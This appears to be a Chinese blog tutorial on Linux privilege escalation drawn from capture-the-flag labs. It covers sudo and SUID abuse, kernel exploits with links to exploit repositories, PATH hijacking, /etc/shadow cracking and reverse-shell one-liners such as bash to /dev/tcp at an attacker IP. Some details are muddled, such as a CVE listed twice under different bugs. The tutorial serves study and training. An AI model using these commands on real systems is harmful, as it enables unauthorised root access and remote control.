linux权限提升思路大全与例题详解
Linux 程序调用外部命令(比如 thm)时,会按 PATH 环境变量的顺序查找可执行文件:比如 PATH=/usr/local/bin:/usr/bin:/bin,系统会先去 /usr/local/bin 找 thm,找不到再去 /usr/bin,以此类推;:Linux 执行命令时,会按 PATH 环境变量的顺序查找可执行文件。:把这个代码保存为 /tmp/thm,编译成可执行文件(比如用 g
一.Linux权限提升的方法
介绍:linux的权限提升核心主要是利用用户和组的系统关系,利用SUID和SGID权限文件,内核漏洞,定时任务利用提权和root权限滥用提权这几个方法,另外常用的还有配置文件 / 脚本权限不当,环境变量劫持与路径劫持,容器 / 虚拟化逃逸,第三方服务 / 应用漏洞提权,敏感信息泄露,物理 / 本地交互提权
1.用户 / 组关系利用(sudo 滥用、wheel 组、弱密码、共享账号等)
2.SUID/SGID 可执行文件利用(经典提权入口)
3.内核漏洞提权(Dirty Cow、Dirty Pipe 等本地提权漏洞)
4.定时任务(cron)利用(权限过高、路径劫持、通配符注入等)
5.root 权限滥用(sudo 无密码、sudo 可执行任意命令、sudo 可编辑关键文件等)
6.配置文件 / 脚本权限不当(可写 /etc/passwd、/etc/sudoers、.bashrc、/etc/profile 等)
7.环境变量劫持与路径劫持(PATH 劫持、LD_PRELOAD 劫持、IFS 变量等)
8.容器 / 虚拟化逃逸(Docker 逃逸、LXC/LXD 逃逸、KVM/QEMU 逃逸等)
9.第三方服务 / 应用漏洞提权(Web 服务、数据库、中间件、运维工具等)
10.敏感信息泄露(历史命令、日志、备份文件、配置文件中的密码 / 密钥)
11.物理 / 本地交互提权(单用户模式、GRUB 密码绕过、LiveCD 等)
二.具体操作
1.第一步可以使用sudo -l,来看看系统赋予我们这个用户那些权限,下面这个就是给我们/bin/cat /root/notes/*可以使用/bin/cat来读取/root/notees下的所有文件,那我们试试路径穿越读取我们需要的文件,这个使用也提到了无需密码

2.如果碰到没有任何权限的用户,那我们就排查他的SUID和SGID的那些权限可以利用,使用find / -perm -4000 2>/dev/null,带 SUID 权限的文件确实都存在潜在的可利用点,但不等于 “随便拿一个就能直接提权”,而是要分「通用可利用」「依赖特定条件」「几乎不可利用」三类来看
第一类:通用可利用(只要有 SUID 就 100% 可提权)
/usr/bin/find /usr/bin/vim /usr/bin/nmap /bin/bash /usr/bin/less /usr/binmore
第二类:高频率历史漏洞(特定版本必存在漏洞)
/usr/bin/pkexec /usr/bin/sudo /bin/mount /usr/bin/passwd
第三类:高频依赖配置漏洞(常见配置错误导致可利用)
/bin/su /usr/bin/newgrp /usr/bin/gpasswd

3.如果都没找到可用点,可用看看内核版本,是否存在内核漏洞uname -a/-r

第一类:经典必知内核漏洞(影响范围极广)
(1)Dirty Cow(脏牛) | CVE-2016-5195
受影响版本:Linux Kernel 2.6.22 ~ 4.8.3(几乎所有 2016 年前的 Linux 发行版,如 CentOS 6/7、Ubuntu 14.04/16.04)
利用原理:通过竞争条件绕过 COW(写时复制)机制,向只读文件(如 /etc/passwd)写入内容,添加无密码 root 用户。
地址:https://github.com/firefart/dirtycow
(2)Dirty Pipe(脏管道) | CVE-2022-0847
受影响版本:Linux Kernel 5.8 ~ 5.16.11 / 5.15.25 / 5.10.102(2022 年左右的新系统,如 Ubuntu 20.04/22.04、Debian 11)
利用原理:通过管道缓冲区溢出,无需写权限即可覆盖任意文件内容(如修改 /etc/passwd 或 /root/.ssh/authorized_keys)
地址1:https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
地址2:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
第二类:近年高频内核漏洞(实战中常遇到)
(1)Ubuntu OverlayFS 提权 | CVE-2023-2640 / CVE-2023-32629
受影响版本:
CVE-2023-2640:Ubuntu 22.04(Kernel 5.15.0-40 ~ 5.15.0-60)
CVE-2023-32629:Ubuntu 20.04/22.04(Kernel 5.4 ~ 6.3)
利用原理:OverlayFS 文件系统权限检查漏洞,普通用户可创建恶意挂载点,执行任意代码提权。
地址1: https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation
地址2: https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629
(2)Netfilter 权限绕过 | CVE-2023-32629
受影响版本:Linux Kernel 5.4 ~ 6.3(2023 年主流内核版本)
利用原理:Netfilter 模块在处理 NFTables 规则时存在权限检查漏洞,普通用户可修改内核规则提权。
地址: https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation
(3)Dirty Cred 提权 | CVE-2022-2588
受影响版本:Linux Kernel 5.10 ~ 5.15(2021-2022 年内核)
利用原理:内核 cred 结构体(权限凭证)存在 UAF 漏洞,可篡改当前进程的 UID/GID 为 0(root)。
地址: https://github.com/Markakd/CVE-2022-2588
第三类:易混淆高频 SUID 漏洞(非内核但提权效果极强)
这些漏洞不属于内核漏洞,但因出现频率极高、提权成功率 100%,常被与内核漏洞并列提及:
(1)PwnKit | CVE-2021-4034
影响版本:所有带 pkexec 的 Linux 发行版(几乎所有系统,2021 年前未修复)
利用原理:pkexec(SUID 程序)的参数处理漏洞,普通用户可直接执行任意命令提权。
地址:https://github.com/berdav/CVE-2021-4034
(2)Baron Samedit | CVE-2021-3156
受影响版本:sudo < 1.9.5p2(2021 年前的 sudo 版本)
利用原理:sudo 的缓冲区溢出漏洞,普通用户可绕过权限检查执行任意命令。
地址: https://github.com/blasty/CVE-2021-3156
使用技巧
先扫高频 SUID 漏洞:PwnKit(CVE-2021-4034)> Baron Samedit(CVE-2021-3156),因为无需内核版本匹配,几乎 100% 成功。
再扫经典内核漏洞:Dirty Cow(旧系统)> Dirty Pipe(新系统),exploit 成熟,一键运行。
最后扫版本匹配漏洞:OverlayFS(Ubuntu 专属)> Netfilter(现代内核),需确认系统版本后使用。当这三部分打下了,还没有提权成功,就要去看看文件配置,环境变量劫持和路径劫持了,敏感信息泄露,容器逃逸,简单的上面三步走就基本上解决了
三.对于反弹shell
我想将讲一部分,当我们大部分访问到都是伪终端,量依赖 “终端会话、交互输入、进程控制” 的操作都无法正常执行,这个时候我们就需要反弹shell一下
- 首先考虑sh和bash以及nc进行反弹
# 最简bash反弹命令(先测这个)
bash -i >& /dev/tcp/攻击者IP/4444 0>&1
# 若bash失败,试sh(部分系统默认shell是sh)
sh -i >& /dev/tcp/攻击者IP/4444 0>&1
# 目标机执行nc反弹命令(替换攻击者IP/端口) nc 攻击者IP 4444 -e /bin/bash # 推荐用bash,交互更好 # 或兼容版(部分系统用sh) nc 攻击者IP 4444 -e /bin/sh
- 当上面的难以执行可用搜索一下工具,再执行
在执行反弹命令前,先快速扫一遍系统里有哪些可用工具
which python python3 php perl socat awk telnet
反弹脚本先写进去,在执行,一般在可写程序/tmp里面或者/bin/tmp
四.对于chomd的认识
chmod(change mode)是 Linux/Unix 系统中修改文件 / 目录访问权限的核心命令,使用ls -l test.sh查看一个文件具体权限,或者ll查看整个目录文件权限
(1)权限主题:user,group,others,all 权限类型:r,2,x 421 权限操作符+ - =
(2)chmod u+x test.sh 给属主加执行 g+x给属组加执行 o+x给其他用户加执行 +x相当于a+x给所有用户加 chmod u=rwx test.sh强制设置,覆盖之前权限 u=rwx,g=rx,o=r, a-w移除写的权限,目录特殊说明
目录的x权限是「进入目录」的前提(即使有r权限,无x也无法cd进入)
(3)数字表示:r(4)w(2)x(1),chmod 777 test.sh,chmod 755 700 644 600
(4) chmod 的提权操作: “ch 提权” 本质是通过修改权限(尤其是特殊权限 SUID/SGID),让普通用户以文件属主 / 组的身份执行文件,从而临时获得更高权限。除了 r/w/x,Linux 还有 3 个特殊权限位: 特殊权限符号数字值
# 1. 确保脚本属主是root
chown root:root /usr/bin/backup.sh
# 2. 给脚本添加SUID权限(数字法:4000+755=4755)
chmod 4755 /usr/bin/backup.sh
# 或符号法
chmod u+s /usr/bin/backup.sh
# 验证:ls -l查看权限(属主x位显示s)
ls -l /usr/bin/backup.sh
# 输出示例:-rwsr-xr-x 1 root root 123 Apr 1 10:00 /usr/bin/backup.sh

五.场景与应用
(1)SGID 是目录的特殊权限,标记为权限位里的 s(属组执行位)。
目录 SGID 的核心作用:让目录内新创建的文件 / 子目录,继承父目录的属组,而非创建者的基本组。
典型场景:团队共享目录,确保协作文件的属组统一,提升权限管理效率。
(2)通过修改 /etc/passwd 将普通用户提权到 root 的经典 Linux 权限漏洞利用操作
当我们权限提升的时候,可以看看/etc/passwd的权限,修改UID 为0,shadow存储密码会验证密码正确性验证的,可以被利用
# 查看 /etc/passwd 的权限
ls -l /etc/passwd
# 输出示例:-rw-r--r-- 1 root root 1234 Jun 6 10:00 /etc/passwd(默认安全)
# 若输出:-rw-rw-r-- 1 root root 1234 Jun 6 10:00 /etc/passwd(普通用户有写权限,高危)



(3)出了去github或者exp网站搜索漏洞,还可以在kali使用命令搜索searchsploit Linux 3.13.0-24-generic(内核版本)

(4)此处是一个内核漏洞提权,首先kali搜索没有找到,去下载到kali机器,再通过sudo python3 -m http.server启动了一个 HTTP 服务(端口 8000),目的是让目标机可以下载漏洞利用程序 ofc;前提需要which wget收集信息,再开放端口让封火墙不阻拦可达wget url:端口/地址


(5)使用id看看本用户的权限,使用sudo -l必做的信息收集命令,它的核心作用是:列出当前用户被允许通过 sudo 执行的所有命令,以及对应的权限规则。再利用直接提前查看flag
推荐域名查看漏洞与使用: https://gtfobins.org



(6)对于进入一个系统依旧id看看我是谁拥有什么权限,find / -type f -perm -04000 -ls 2>/dev/null使用这个看看suid和sgid有什么漏洞,是信息收集阶段的核心命令,专门用来全局搜索所有带有 SUID 特殊权限的可执行文件,发现一个带s的特殊权限base,我们去渗透测试的”作弊网站”看看使用方法,提权看flag,并且看shadow存储的密码,使用john爆破一下,拿到root密码



(7)使用id看自己是谁有什么权力,使用sudo -l看有哪些特殊权限文件,gettcap -r / 2>null,对于getcap -r / 2>/dev/null 和 find / -perm 是针对 Linux 两种完全不同的权限机制,前者查「Capability(能力权限)」,后者查「SUID/SGID/ 普通文件权限」,cap_setuid+ep 表示这些程序被赋予了 “修改自身 UID” 的能力,利用难度没有比nano大,就使用看nano的方法,“先拿到了 root 权限,再通过反弹 shell 把 root 权限的 Shell 转发到了攻击机,非交互式 shell(比如 Webshell、单条命令执行,没法敲多行、用 Tab 补全)


反弹shell,后续依旧可以john爆破root密码


(8) 利用「SUID 程序 + PATH 环境变量劫持 + C 语言提权脚本」实现提权的经典渗透测试流程
之前用 find / -perm -04000 找到了 test 这个 SUID 文件,但:它可能是个脚本、二进制文件、甚至是损坏的文件;只有确认它是可执行的 ELF 二进制文件,且带 setuid 标记,才有提权价值。
执行 file test 后,输出:plaintext test: setuid ELF 64-bit LSB shared object
这就验证了两个关键信息:setuid:它是 SUID 文件(普通用户执行时,会以文件属主 root 的身份运行);ELF 64-bit:它是可执行的二进制程序(能直接运行,不是脚本 / 文本文件)。
如果 file test 显示它是个 shell 脚本,提权思路会是 “直接看脚本内容找漏洞”;如果是 ELF 二进制文件,就需要 “运行它、分析它调用的命令”—— 这一步决定了后续的利用方向。
执行 file test 确认是 SUID 二进制文件后,下一步必然是运行它,看它的行为:
./test
输出 sh: 1: thm: not found—— 这个报错是 “突破口”,直接指向了 PATH 劫持漏洞:
1. 报错的核心含义
这个 SUID 程序 test 的内部逻辑里,有一行代码是调用 thm 这个系统命令(比如 system("thm");),但你的目标机里根本没有 thm 这个命令,所以报错。
2. 为什么这是漏洞?
Linux 程序调用外部命令(比如 thm)时,会按 PATH 环境变量的顺序查找可执行文件:比如 PATH=/usr/local/bin:/usr/bin:/bin,系统会先去 /usr/local/bin 找 thm,找不到再去 /usr/bin,以此类推;而 SUID 程序 test 是以 root 权限运行的,只要它能找到我们伪造的 thm 命令,这个伪造的命令就会以 root 权限执行 —— 这就是 PATH 劫持的核心原理。
解释:把 SUID 程序 test 比作 “一个有 root 权限的机器人”:
- 你先检查机器人的身份(file test):确认它真的有 root 权限(SUID),且能干活(ELF 可执行);
- 你让机器人干活(./test):发现它要找一个叫 “thm” 的工具,但仓库里没有;
- 你修改机器人找工具的顺序(export PATH=/tmp:$PATH):让它先去你指定的 /tmp 文件夹找;
- 你在 /tmp 放了一个假的 “thm” 工具(恶意 C 程序):机器人找到并执行,你就借它的 root 权限拿到了控制权。
推荐网站: TryHackMe/Hack The Box
首先看看自己的权限,再找一下敏感信息

File test
输出显:test: setuid ELF 64-bit LSB shared object,说明这是一个带 SUID 权限的可执行文件(属主是 root,普通用户执行时会以 root 身份运行)。
分析程序行为:运行 ./test 时,输出 sh: 1: thm: not found,说明这个 SUID 程序内部会调用一个名为 thm 的系统命令,但系统默认没有这个命令 —— 这是PATH 环境变量劫持漏洞的关键入口。
export PATH=/tmp:$PATH
核心原理:Linux 执行命令时,会按 PATH 环境变量的顺序查找可执行文件。我们把 /tmp 放到 PATH 最前面,当 SUID 程序 test 调用 thm 时,会优先在 /tmp 目录下查找。
目的:让 test 执行我们在 /tmp 下伪造的恶意 thm 程序,而非系统自带的(不存在的)thm。


为什么用 C 语言:因为 C 语言编译后的二进制文件可以直接调用系统底层 API(如setuid),提权效率高且兼容性好。
保存位置:把这个代码保存为 /tmp/thm,编译成可执行文件(比如用 gcc /tmp/thm -o /tmp/thm),这样当 test 调用 thm 时,就会执行我们的恶意程序。


(9) Linux 本地提权 + 横向移动
信息收集:用 find / -perm -04000 找到带 SUID 的 /usr/bin/base64。
读取敏感文件:尝试用 base64 读取 /home/missy/flag1.txt 失败后,转而读取 /etc/shadow(密码哈希文件)。
破解密码:用 John the Ripper 破解 missy 的密码哈希,得到明文密码 Password1。
横向移动拿 flag:切换到 missy 用户,在 Documents 目录拿到 flag1.txt(THM-42828719920544)。

LFILE 是自定义变量,核心作用是「存放目标文件路径的占位符」;
用它的核心原因:简化命令输入、适配通用利用模板、提高可读性、处理特殊路径;
它不是系统命令,不用也能实现功能,但这是渗透测试的 “最佳实践”,能大幅提升效率。


六.结尾
后续将从容器逃逸技术,渗透测试全流程,cve复现,src挖掘等方面总结
更多推荐
所有评论(0)